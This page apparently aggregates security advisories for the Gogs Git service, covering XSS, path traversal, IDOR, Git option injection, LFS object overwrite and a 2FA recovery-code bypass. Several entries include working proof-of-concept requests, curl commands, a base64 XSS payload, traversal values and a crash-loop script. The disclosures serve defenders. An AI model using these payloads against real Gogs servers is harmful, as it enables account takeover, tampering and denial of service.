-Infinity
0

Vendor Risk Score

See how gogs compares to other vendors in security performance

View Risk Score →
Severity
4.3
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Gogs is an open source self-hosted Git service. In 0.14.3 and earlier, any authenticated user can watch a private repository they have no access to, because the access check in the Watch API handler is inverted. The code checks if repoCtx.ViewerCanRead() (returns 404 when the user CAN read) instead of if !repoCtx.ViewerCanRead() (return 404 when the user CANNOT read). Once watching, the attacker's dashboard activity feed shows commit messages, branch names, issue titles, and PR details from the private repository. If email notifications are enabled, the attacker also receives emails containing issue and comment content.

First published (updated )
Severity
7.3
XSS, CSRF
AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

Summary

It was confirmed in a test environment that an attacker can store an HTML/JavaScript payload in a repository’s Milestone name, and when another user selects that Milestone on the New Issue page (/issues/new), a DOM-Based XSS is triggered.

Impact

Theft of information accessible in the victim’s session. Extraction of CSRF tokens and submission of state-changing requests with the victim’s privileges. Repository operations performed with the victim’s privileges (Issue operations, settings changes, etc.).

(The impact scope depends on the victim’s permission level.)

Remediation

A fix is available at https://github.com/gogs/gogs/releases/tag/v0.14.2

1 / 2
Source: GitHub
First published (updated )
Severity
6.9
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

The Gogs API still accepts tokens in URL parameters such as token and accesstoken, which can leak through logs, browser history, and referrers.

Details

A static review shows that the API still checks tokens in the URL query before looking at headers:

- internal/context/auth.go reads c.Query("token") - internal/context/auth.go falls back to c.Query("accesstoken") - internal/context/auth.go only checks the Authorization header when the query token is empty - internal/context/auth.go authenticates using that token and marks the request as token-authenticated

Token-authenticated requests are accepted by API routes through c.IsTokenAuth checks: - internal/route/api/v1/api.go

Impact

If tokens are sent in URLs such as /api/v1/user?token=..., they can leak in logs, browser or shell history, and referrer headers, and can be reused until revoked.

Recommended Fix

- Authentication headers should be used exclusively for token transmission. - Token parameters should be blocked at the proxy or WAF level. - Query strings should be scrubbed from logs. - A strict referrer policy should be set.

Remediation

A fix is available at https://github.com/gogs/gogs/releases/tag/v0.14.2.

1 / 2
Source: GitHub
First published (updated )
Severity
6.9
XSS, CSRF
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

Stored XSS is still possible through unsafe template rendering that mixes user input with safe() plus permissive sanitizer handling of data URLs.

Details

safe() still turns off escaping: - internal/template/template.go - func safe(raw string) template.HTML { return template.HTML(raw) }

Branch pages still render committer names using safe(): - templates/repo/branches/overview.tmpl - templates/repo/branches/all.tmpl - templates/repo/wiki/view.tmpl

The locale still injects a raw second argument: conf/locale/localeen-US.ini (branches.updatedby = updated %[1]s by %[2]s)

Impact

An attacker who can inject commit metadata such as author/committer name can trigger script execution on affected pages, leading to session abuse, CSRF token theft, or unauthorized actions.

Recommended Fix

- Untrusted arguments should be escaped before being used in translations. - Data URLs should be limited or blocked in the sanitizer.

Remediation A fix is available at https://github.com/gogs/gogs/releases/tag/v0.14.2.

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

There is a security issue in Gogs where deleting a release can fail if a user-controlled tag name is passed to Git without the right separator, allowing Git option injection and therefore interfering with the process.

Affected Component

- internal/database/release.go process.ExecDir(..., "git", "tag", "-d", rel.TagName)

Details

rel.TagName is used as a CLI argument to git tag -d without -- or --end-of-options. If the tag name begins with -, Git parses it as a flag.

The prior mitigation is incomplete. There is path sanitization in place during creation:

- internal/database/release.go r.TagName = strings.TrimLeft(r.TagName, "-")

But it only covers one creation path and does not reliably protect tag deletions, such as tags added through git push or ref updates.

Exploit Conditions 1. An attacker can add a tag name that starts with a dash into the repository. 2. A user with permission to delete releases triggers it through the web UI or API.

Recommended Fix

1. Add end-of-options in release deletion: - git tag -d -- <tagName> 2. It is better to use the safe git-module deletion helper since it handles options properly. 3. All Git commands should be audited for user input, ensuring that the end-of-options separator is always used.

Impact - Option injection into git tag -d - Tag/release deletion can fail or behave unexpectedly - Operational denial of service in release cleanup workflows - Potential release metadata inconsistency

1 / 2
Source: GitHub
First published (updated )
Severity
9.3
AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:L

Summary Overwritable LFS object across different repos leads to supply-chain attack, all LFS objects are vulnerable to be maliciously overwritten by malicious attackers.

Details Gogs store all LFS objects in the same place, no isolation between different repositories. (repo id not concatenated to storage path) https://github.com/gogs/gogs/blob/7a2dffa95ac64f31c8322cb50d32694b05610144/internal/lfsutil/storage.go#L52-L58

Gogs does not verify uploaded LFS file content against its claimed SHA-256, meaning attackers can manipulate the uploaded file like injecting backdoor. https://github.com/gogs/gogs/blob/7a2dffa95ac64f31c8322cb50d32694b05610144/internal/lfsutil/storage.go#L79-L89

Here's the comment that trust client to retry upload allowing them to overwrite. However, this assumption does not hold in the case of a malicious client. https://github.com/gogs/gogs/blob/7a2dffa95ac64f31c8322cb50d32694b05610144/internal/route/lfs/basic.go#L111-L113

PoC

./gogs -v Gogs version 0.13.0

1. User (admin1) upload a LFS object into their repository admin1/testlfs.git normally

POST http://172.29.121.170/admin1/testlfs.git/info/lfs/objects/batch User-Agent: git-lfs/3.0.2 (GitHub; linux amd64; go 1.17.2) Accept-Encoding: gzip, deflate, br Accept: application/vnd.git-lfs+json Connection: keep-alive Content-Type: application/vnd.git-lfs+json Authorization: Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI= Content-Length: 168

{"operation": "upload", "objects": [{"oid": "5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a", "size": 1048576}], "ref": {"name": "refs/heads/master"}}

response: <Response [200]> Connection: close Content-Length: 438 Content-Type: application/vnd.git-lfs+json Date: Thu, 28 Nov 2024 13:57:47 GMT Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647

{'objects': [{'actions': {'upload': {'header': {'Content-Type': 'application/octet-stream'}, 'href': 'http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a'}, 'verify': {'href': 'http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/verify'}}, 'oid': '5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a', 'size': 1048576}], 'transfer': 'basic'}

[STEP3] fileupload PUT http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a headers: {'Content-Type': 'application/octet-stream', 'Accept': 'application/vnd.git-lfs+json', 'Authorization': 'Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI='} response: <Response [200]> [verify POST] http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/verify POST http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/verify User-Agent: git-lfs/3.0.2 (GitHub; linux amd64; go 1.17.2) Accept-Encoding: gzip, deflate, br Accept: application/vnd.git-lfs+json Connection: keep-alive Content-Type: application/vnd.git-lfs+json Authorization: Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI= Cookie: lang=en-US Content-Length: 92

{"oid": "5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a", "size": 1048576}

response: <Response [200]> Connection: close Content-Length: 0 Date: Thu, 28 Nov 2024 13:57:47 GMT

In this step, upload a LFS object 5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a

2. Attacker user2 overwrite this file by uploading manipulated content to their repo user2/public.git

PUT http://172.29.121.170:3000/user2/public.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a Content-Type: application/octet-stream Accept: application/vnd.git-lfs+json Authorization: Basic dXNlcjI6NTRmZGU5ZmI3YjdmOTQ0MmM3MzY4ODhlMWIyNjZmMWE4MzAyMzE5NQ==

response: <Response [200]>

3. Verify the content has been overwritten:

curl http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a -H "Authorization: Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI=" -i HTTP/1.1 200 OK Content-Length: 1048576 Connection: keep-alive Content-Type: application/octet-stream Date: Thu, 28 Nov 2024 14:01:53 GMT Keep-Alive: timeout=4 Proxy-Connection: keep-alive Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647

curl: (18) transfer closed with 1048563 bytes remaining to read 2222 replaced

Impact All LFS objects hosted on Gogs can be maliciously overwritten. Supply-chain attack is possible, and when user download LFS object from webpage, there's no warning at all.

Fix Suggestion

Uploaded LFS objects must be verified to ensure their content matches the claimed SHA-256 hash, to prevent the upload of tampered files.

Fix example: https://code.rhodecode.com/rhodecode-vcsserver/changeset/a680a60521bf02c29413d718ebca36c4f692ea4a?diffmode=unified

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Summary A Stored Cross-site Scripting (XSS) vulnerability exists in the comment and issue description functionality. The application's HTML sanitizer explicitly allows data: URI schemes, enabling authenticated users to inject arbitrary JavaScript execution via malicious links.

Details The vulnerability is located in internal/markup/sanitizer.go. The application uses the bluemonday HTML sanitizer but explicitly weakens the security policy by allowing the data URL scheme:

go // internal/markup/sanitizer.go func NewSanitizer() { sanitizer.init.Do(func() { // ... // Data URLs sanitizer.policy.AllowURLSchemes("data") // ... }) }

While the Markdown renderer rewrites relative links (mitigating standard Markdown link attacks), Gogs supports Raw HTML input. Raw HTML anchor tags bypass the Markdown parser's link rewriting and are processed directly by the sanitizer. Since the sanitizer is configured to allow data: URIs, payloads like <a href="data:text/html..."> are rendered as-is.

PoC 1. Create a file named exploit.md in a repository. 2. Add the following content (Raw HTML): html <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=">Click me for XSS</a> 3. Commit and push the file. 4. Navigate to the file in the Gogs web interface. 5. Click the "Click me for XSS" link. 6. Result: An alert box with "XSS" appears, executing the JavaScript payload.

Impact This is a Stored XSS vulnerability. Any user who views the malicious comment and clicks the link will execute the attacker-supplied JavaScript in their browser context. This allows attackers to: Steal authentication cookies and session tokens. Perform arbitrary actions on behalf of the victim (e.g., modifying repositories, adding collaborators). Redirect users to malicious sites.

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
EPSS
0.05%
SQL Injection, CSRF
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Gogs is an open source self-hosted Git service. Versions 0.13.4 and below expose unauthenticated file upload endpoints by default. When the global RequireSigninView setting is disabled (default), any remote user can upload arbitrary files to the server via /releases/attachments and /issues/attachments. This enables the instance to be abused as a public file host, potentially leading to disk exhaustion, content hosting, or delivery of malware. CSRF tokens do not mitigate this attack due to same-origin cookie issuance. This issue has been fixed in version 0.14.1.

1 / 2
Source: MITRE
First published (updated )
Severity
8.8
EPSS
0.03%
CSRF
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

An access control bypass vulnerability in Gogs web interface allows any repository collaborator with Write permissions to delete protected branches (including the default branch) by sending a direct POST request, completely bypassing the branch protection mechanism. This vulnerability enables privilege escalation from Write to Admin level, allowing low-privilege users to perform dangerous operations that should be restricted to administrators only.

Although Git Hook layer correctly prevents protected branch deletion via SSH push, the web interface deletion operation does not trigger Git Hooks, resulting in complete bypass of protection mechanisms.

Details

Affected Component

- File: internal/route/repo/branch.go - Function: DeleteBranchPost (lines 110-155) - Route Configuration: internal/cmd/web.go:589 go m.Post("/delete/", reqSignIn, reqRepoWriter, repo.DeleteBranchPost)

Root Cause

The DeleteBranchPost function performs the following checks when deleting a branch: 1. ✅ User authentication (reqSignIn) 2. ✅ Write permission check (reqRepoWriter) 3. ✅ Branch existence verification 4. ✅ CommitID matching (optional parameter) 5. ❌ Missing protected branch check 6. ❌ Missing default branch check

While the UI layer (internal/route/repo/issue.go:646-658) correctly checks protected branch status and hides the delete button, attackers can directly construct POST requests to bypass UI restrictions.

Vulnerable Code

Vulnerable implementation (internal/route/repo/branch.go:110-155):

110:155:internal/route/repo/branch.go func DeleteBranchPost(c context.Context) { branchName := c.Params("") commitID := c.Query("commit")

defer func() { redirectTo := c.Query("redirectto") if !tool.IsSameSiteURLPath(redirectTo) { redirectTo = c.Repo.RepoLink } c.Redirect(redirectTo) }()

if !c.Repo.GitRepo.HasBranch(branchName) { return } if len(commitID) > 0 { branchCommitID, err := c.Repo.GitRepo.BranchCommitID(branchName) if err != nil { log.Error("Failed to get commit ID of branch %q: %v", branchName, err) return }

if branchCommitID != commitID { c.Flash.Error(c.Tr("repo.pulls.deletebranchhasnewcommits")) return } }

// 🔴 Vulnerability: Missing protected branch check here // Should add check like: // protectBranch, err := database.GetProtectBranchOfRepoByName(c.Repo.Repository.ID, branchName) // if protectBranch != nil && protectBranch.Protected { ... }

if err := c.Repo.GitRepo.DeleteBranch(branchName, git.DeleteBranchOptions{ Force: true, }); err != nil { log.Error("Failed to delete branch %q: %v", branchName, err) return }

if err := database.PrepareWebhooks(c.Repo.Repository, database.HookEventTypeDelete, &api.DeletePayload{ Ref: branchName, RefType: "branch", PusherType: api.PUSHERTYPEUSER, Repo: c.Repo.Repository.APIFormatLegacy(nil), Sender: c.User.APIFormat(), }); err != nil { log.Error("Failed to prepare webhooks for %q: %v", database.HookEventTypeDelete, err) return } }

Correct implementation in Git Hook (internal/cmd/hook.go:122-125):

go // check and deletion if newCommitID == git.EmptyID { fail(fmt.Sprintf("Branch '%s' is protected from deletion", branchName), "") }

Correct UI layer check (internal/route/repo/issue.go:646-658):

go protectBranch, err := database.GetProtectBranchOfRepoByName(pull.BaseRepoID, pull.HeadBranch) if err != nil { if !database.IsErrBranchNotExist(err) { c.Error(err, "get protect branch of repository by name") return } } else { branchProtected = protectBranch.Protected }

c.Data["IsPullBranchDeletable"] = pull.BaseRepoID == pull.HeadRepoID && c.Repo.IsWriter() && c.Repo.GitRepo.HasBranch(pull.HeadBranch) && !branchProtected // UI layer has check, but backend doesn't PoC

Prerequisites

1. Have Write permissions to the target repository (collaborator or team member) 2. Target repository has protected branches configured (e.g., main, master, develop) 3. Access to Gogs web interface

Send Malicious POST Request bash Directly send DELETE request bypassing UI protection curl -X POST \ -b cookies.txt \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "csrf=YOURCSRFTOKEN" \ "https://gogs.example.com/username/repo/branches/delete/main" <img width="1218" height="518" alt="image" src="https://github.com/user-attachments/assets/745da7c3-6139-408c-9747-ccbe9ea8548f" />

Impact - Bypass branch protection mechanism: The core function of protected branches is to prevent deletion, and this vulnerability completely undermines this mechanism - Delete default branch: Can cause repository to become inaccessible (git clone/pull failures) - Bypass code review: After deleting protected branch, can push new branch bypassing Pull Request requirements - Privilege escalation: Writer permission users can perform operations that should only be allowed for Admins

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
EPSS
0.03%
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary A broken access control vulnerability in Gogs allows authenticated users with write access to any repository to modify labels belonging to other repositories. The UpdateLabel function in the Web UI (internal/route/repo/issue.go) fails to verify that the label being modified belongs to the repository specified in the URL path, enabling cross-repository label tampering attacks.

Details The vulnerability exists in the Web UI's label update endpoint POST /:username/:reponame/labels/edit. The handler function UpdateLabel uses an incorrect database query function that bypasses repository ownership validation:

Vulnerable Code (internal/route/repo/issue.go:1040-1054):

plain func UpdateLabel(c context.Context, f form.CreateLabel) { l, err := database.GetLabelByID(f.ID) // ❌ No repository validation if err != nil { c.NotFoundOrError(err, "get label by ID") return }

// ❌ Missing validation: l.RepoID != c.Repo.Repository.ID l.Name = f.Title l.Color = f.Color if err := database.UpdateLabel(l); err != nil { c.Error(err, "update label") return } c.RawRedirect(c.Repo.MakeURL("labels")) }

Root Cause:

1. The function calls database.GetLabelByID(f.ID) which internally passes repoID=0 to the ORM layer 2. According to code comments in internal/database/issuelabel.go:147-166, passing repoID=0 causes the ORM to ignore repository restrictions 3. No validation checks whether l.RepoID == c.Repo.Repository.ID before updating 4. The middleware reqRepoWriter() only validates write access to the repository in the URL path, not the label's actual repository

Inconsistency with Other Functions:

+ NewLabel: Correctly sets RepoID = c.Repo.Repository.ID + DeleteLabel: Correctly uses database.DeleteLabel(c.Repo.Repository.ID, id) + API EditLabel: Correctly uses database.GetLabelOfRepoByID(c.Repo.Repository.ID, id)

- Only UpdateLabel in Web UI uses the vulnerable pattern

PoC Prerequisites:

+ Two user accounts: Alice (attacker) and Bob (victim) + alice has written access to repo-a + Bob owns repo-b with labels

Step 1: Identify Target Label ID

1. Login as bob, navigate to bob/repo-b/labels 2. Open browser DevTools (F12) → Network tab 3. Click edit on any label 4. Observe the form data: id=<LABELID> 5. Example: id=1

Step 2: Execute Attack

plain Login as alice, get session cookie Open DevTools → Application → Cookies → ilikegogs Copy the cookie value

Send malicious request curl -X POST "http://localhost:3000/alice/repo-a/labels/edit" \ -H "Cookie: ilikegogs=<ALICESESSIONCOOKIE>" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "id=1&title=HACKED-BY-ALICE&color=%23000000"

Expected response: 302 Found (redirect)

Step 3: Verify Impact

1. Login as bob 2. Navigate to bob/repo-b/labels 3. Observe: Label "P0-Critical" is now "HACKED-BY-ALICE" with black color

Impact 1. Issue Classification Disruption: Modify critical labels (e.g., "P0-Critical" → "P3-Low") causing urgent issues to be deprioritized

2. Security Issue Concealment: Change "security" labels to "documentation" to hide vulnerability reports from security teams

3. Workflow Sabotage: Alter labels used in CI/CD automation, breaking deployment pipelines

4. Mass Disruption: Batch modifies all labels across multiple repositories using ID enumeration

Recommended Fix:

plain func UpdateLabel(c context.Context, f form.CreateLabel) { l, err := database.GetLabelOfRepoByID(c.Repo.Repository.ID, f.ID) if err != nil { c.NotFoundOrError(err, "get label of repository by ID") return } // Now label ownership is validated at database layer l.Name = f.Title l.Color = f.Color if err := database.UpdateLabel(l); err != nil { c.Error(err, "update label") return } c.RawRedirect(c.Repo.MakeURL("labels")) }

1 / 2
Source: GitHub
First published (updated )
Severity
5.1
EPSS
0.02%
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

IDOR: Cross-Repository Comment Deletion via DeleteComment

Summary

The POST /:owner/:repo/issues/comments/:id/delete endpoint does not verify that the comment belongs to the repository specified in the URL. This allows a repository administrator to delete comments from any other repository by supplying arbitrary comment IDs, bypassing authorization controls.

Vulnerability Details

| Field | Value | |-------|-------| | Affected File | internal/route/repo/issue.go | | Affected Function | DeleteComment (lines 955-968) | | Secondary File | internal/database/comment.go | | Secondary Function | DeleteCommentByID (lines 505-520) |

Root Cause

The vulnerability exists due to insufficient authorization validation in the comment deletion flow:

1. Missing Repository Ownership Check in DeleteComment

In internal/route/repo/issue.go, the function retrieves a comment by ID without verifying repository ownership:

go func DeleteComment(c context.Context) { comment, err := database.GetCommentByID(c.ParamsInt64(":id")) if err != nil { c.NotFoundOrError(err, "get comment by ID") return }

// Only checks if user is comment poster OR admin of the CURRENT repo (from URL) if c.UserID() != comment.PosterID && !c.Repo.IsAdmin() { c.NotFound() return } else if comment.Type != database.CommentTypeComment { c.Status(http.StatusNoContent) return }

// No verification that comment.IssueID belongs to c.Repo.Repository.ID! if err = database.DeleteCommentByID(c.User, comment.ID); err != nil { c.Error(err, "delete comment by ID") return }

c.Status(http.StatusOK) }

2. Database Layer Performs No Authorization

In internal/database/comment.go, the deletion function performs no repository validation:

go func DeleteCommentByID(doer User, id int64) error { comment, err := GetCommentByID(id) if err != nil { if IsErrCommentNotExist(err) { return nil } return err }

// Directly deletes without checking repository ownership sess := x.NewSession() defer sess.Close() if err = sess.Begin(); err != nil { return err }

if , err = sess.ID(comment.ID).Delete(new(Comment)); err != nil { // ... } // ... }

Proof of Concept

Prerequisites

1. Two users: Alice (attacker) and Bob (victim) 2. Alice is admin of alice/attacker-repo 3. Bob has created an issue with a comment on bob/victim-repo 4. Attacker needs to obtain the comment ID from victim's repository (e.g., ID: 42)

HTTP Request

http POST /alice/attacker-repo/issues/comments/42/delete HTTP/1.1 Host: gogs.example.com Cookie: ilikegogs=<alicesessiontoken>

1 / 2
Source: GitHub
First published (updated )
Severity
8.1
EPSS
0.05%
Path Traversal
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary A Path Traversal vulnerability exists in the updateWikiPage function of Gogs. The vulnerability allows an authenticated user with write access to a repository's wiki to delete arbitrary files on the server by manipulating the oldtitle parameter in the wiki editing form.

Vulnerability Deatils The vulnerability is located in internal/database/wiki.go. When updating a wiki page, the application accepts an oldtitle parameter to identify the potential rename operation. This parameter is used directly in path.Join and os.Remove without proper sanitization.

Code snippet from internal/database/wiki.go: go // Line 114 os.Remove(path.Join(localPath, oldTitle+".md"))

If an attacker provides a path traversal sequence (e.g., ../../../../target) as oldtitle, the os.Remove function will resolve the path relative to the wiki's local directory and delete the target file. The vulnerability is limited to deleting files that end with .md (due to the appended extension), but depending on the filesystem and specific path.Join behavior, or if critical .md files exist (e.g. documentation, other wikis), the impact is significant. Additionally, in some contexts, the extension might be bypassed or ignored.

Impact - Denial of Service: Deletion of critical configuration files or data (if they match the extension or via other tricks). - Data Loss: Deletion of other users' wiki pages or documentation.

Remediation Sanitize the oldTitle parameter using ToWikiPageName (or path.Clean and basename validation) before using it in file operations, similar to how the new title is currently handled.

go // Recommended Fix if oldTitle != "" { oldTitle = ToWikiPageName(oldTitle) }

Reproduction Steps 1. Log in to Gogs as a user with write access to a repository wiki. 2. Intercept the POST request to /repo/wiki/edit. 3. Modify the oldtitle parameter to ../../../../tmp/targetfile. 4. Submit the request. 5. Observe that /tmp/targetfile.md is deleted from the server.

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
EPSS
0.07%
Path Traversal
AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N

Vulnerability Description

In the endpoint:

/username/reponame/settings/hooks/git/:name

the :name parameter:

Is URL-decoded by macaron routing, allowing decoded slashes (/) Is then passed directly to:

go git.Repository.Hook("customhooks", name)

which internally resolves the path as:

go filepath.Join(repoPath, "customhooks", name)

Because no path sanitization is applied, supplying ../ sequences allows access to arbitrary paths outside the repository.

As a Result:

GET: Arbitrary file contents are displayed in the hook edit page textarea (Local File Inclusion). POST: Existing files can be overwritten with attacker-controlled content (Arbitrary File Write).

---

Attack Prerequisites

The attacker is an authenticated user The attacker has Admin or higher privileges on the target repository The attacker has the AllowGitHook permission (or is a site administrator) The target file is readable/writable by the Gogs process OS permissions

---

Attack Scenario

1. An attacker (with AllowGitHook + repository Admin privileges) accesses the Git hook edit URL 2. A path containing ../ is supplied in :name, fully URL-encoded using %2f 3. The server resolves customhooks/../../... without validation 4. Arbitrary file contents are displayed and existing files can be overwritten

---

Potential Impact

Sensitive information disclosure: app.ini, databases, logs, environment variables, etc. Configuration or data tampering: Overwriting existing files Secondary impact: Extraction of SECRETKEY and database credentials may allow token forging or further compromise

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
EPSS
0.04%
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Vulnerability Description

The endpoint PUT /repos/:owner/:repo/contents/ does not require write permissions and allows access with read permission only via repoAssignment().

After passing the permission check, PutContents() invokes UpdateRepoFile(), which results in:

Commit creation Execution of git push

As a result, a token with read-only permission can be used to modify repository contents.

---

Attack Prerequisites

Possession of a valid access token Read permission on the target repository (public repository or collaborator with read access)

---

Attack Scenario

1. The attacker accesses the target repository with a read-only token 2. The attacker sends a PUT /contents request to update an arbitrary file 3. The server creates a commit and performs a git push on behalf of the attacker

---

Potential Impact

Source code tampering Injection of backdoors Compromise of release artifacts and distributed packages

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
CSRF
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Summary An authenticated user can cause a DOS attack. If one of the repo files is deleted before synchronization, it will cause the application to crash.

Details If GetMirrorByRepoID fails, the error log dereferencing null pointer. This happens if the repository no longer exits. https://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L333-L337 if err != nil m is alwasa nil https://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L269-L278 PoC Spam mirror-sync on repo and delete this repo code python spam mirror-sync py import requests

url = "http://gogs.lan:3000/superuser/gobypass403/settings" headers = { "Cookie": "lang=en-US; ilikegogs=fe32281ab84ae868; csrf=UCw6xvqR-L7YLBMPjujwjywxy8s6MTc2NDc3NDQ2NDE1MzU5ODQ3Mg", }

data = { "csrf": "UCw6xvqR-L7YLBMPjujwjywxy8s6MTc2NDc3NDQ2NDE1MzU5ODQ3Mg", "action": "mirror-sync", }

while True: print("syncing") response = requests.post(url, headers=headers, data=data) Impact Denial of Service server crash.

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Contact OpenAI Security Research at outbounddisclosures@openai.com to engage on this report. See PDF report for easier reading.

Security Advisory: 2FA Bypass via Recovery Code Vulnerability Type: 2FA Authentication Bypass Affected Software: GOGS Severity: High Date: Aug 5, 2025 Discoverer: OpenAI Security Research Summary Gogs’ 2FA recovery code validation does not scope codes by user, enabling cross-account bypass. If an attacker knows a victim’s username and password, they can use Security Advisory 2FA Bypass via Recovery Code - Google Docs.pdf any unused recovery code (e.g., from their own account) to bypass the victim’s 2FA. This enables full account takeover and renders 2FA ineffective in all environments where it's enabled. Affected Versions Software: Gogs Confirmed Version(s): All versions with 2FA support Likely Affected: All versions since introduction of UseRecoveryCode logic Introduced Commit: a617d52374e937db0edacfba2a26bdd14a05538e Commit: a617d52374e937db0edacfba2a26bdd14a05538e Author: Joe Chen Date: Apr 5, 2017 Description: 2fa: initial support

Vulnerability Details The function UseRecoveryCode in internal/database/twofactor.go fails to check that the recovery code belongs to the authenticating user. Instead, it looks for any unused recovery code: Vulnerable Code Snippet go func UseRecoveryCode( int64, code string) error { recoveryCode := new(TwoFactorRecoveryCode) has, err := x.Where("code = ?", code).And("isused = ?", false).Get(recoveryCode) ... } Although the caller passes userID, it is ignored. The result is a global lookup for any unused code, allowing an attacker to submit their own recovery code during another user's login flow.

Call Chain

web login handler → UseRecoveryCode(userID, code) → DB query without userID constraint Proof-of-Concept (PoC) Description This bug is tested against the latest version of Gogs hosted on Dockerhub. Attacker uses their own recovery code to bypass another user’s 2FA. Steps Create attacker account A and enable 2FA. Save a code like "abcde-fghij". Obtain credentials for victim B. Attempt login as B via web. When prompted for recovery code, submit A's code. Login as B succeeds; A's code is marked as used.

